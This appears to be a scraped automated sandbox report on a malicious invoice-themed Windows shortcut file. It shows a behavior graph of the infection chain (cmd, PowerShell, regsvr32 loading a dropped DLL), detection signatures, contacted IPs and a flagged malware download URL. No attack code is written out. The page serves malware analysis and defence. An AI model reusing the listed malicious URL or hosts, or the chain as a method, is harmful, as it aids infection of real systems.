  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 632058 Sample: Rechnungskorrektur 2022.20.... Startdate: 23/05/2022 Architecture: WINDOWS Score: 100 51 Malicious sample detected (through community Yara rule) 2->51 53 Antivirus detection for URL or domain 2->53 55 Windows shortcut file (LNK) starts blacklisted processes 2->55 57 8 other signatures 2->57 8 cmd.exe 1 2->8         started        11 svchost.exe 2->11         started        13 svchost.exe 1 1 2->13         started        16 9 other processes 2->16 process3 dnsIp4 63 Windows shortcut file (LNK) starts blacklisted processes 8->63 65 Suspicious powershell command line found 8->65 18 powershell.exe 14 21 8->18         started        23 conhost.exe 1 8->23         started        67 Changes security center settings (notifications, updates, antivirus, firewall) 11->67 25 MpCmdRun.exe 1 11->25         started        49 127.0.0.1 unknown unknown 13->49 signatures5 process6 dnsIp7 43 mandom.co.id 103.89.5.69, 49763, 80 IDNIC-BIZNETGIO-AS-IDPTBiznetGioNusantaraID Indonesia 18->43 39 C:\Users\user\AppData\...\MevgMvopaw.BUS, PE32+ 18->39 dropped 59 Powershell drops PE file 18->59 27 regsvr32.exe 5 18->27         started        31 svchost.exe 4 18->31         started        33 conhost.exe 25->33         started        file8 signatures9 process10 file11 41 C:\Windows\...\JWwyPPSZDhCDc.dll (copy), PE32+ 27->41 dropped 69 Hides that the sample has been downloaded from the Internet (zone.identifier) 27->69 35 regsvr32.exe 27->35         started        signatures12 process13 dnsIp14 45 173.82.82.196, 49772, 8080 MULTA-ASN1US United States 35->45 47 192.168.2.1 unknown unknown 35->47 61 System process connects to network (likely due to code injection or exploit) 35->61 signatures15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
173.82.82.196
 unknown United States
35916 MULTA-ASN1US true
103.89.5.69
 mandom.co.id Indonesia
133800 IDNIC-BIZNETGIO-AS-IDPTBiznetGioNusantaraID false

Private

IP
192.168.2.1
127.0.0.1

Contacted Domains

Name IP Active
mandom.co.id 103.89.5.69 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://mandom.co.id/assets/TpIIt7SmNBsWCECLoHrS/ true
  • Avira URL Cloud: malware
 unknown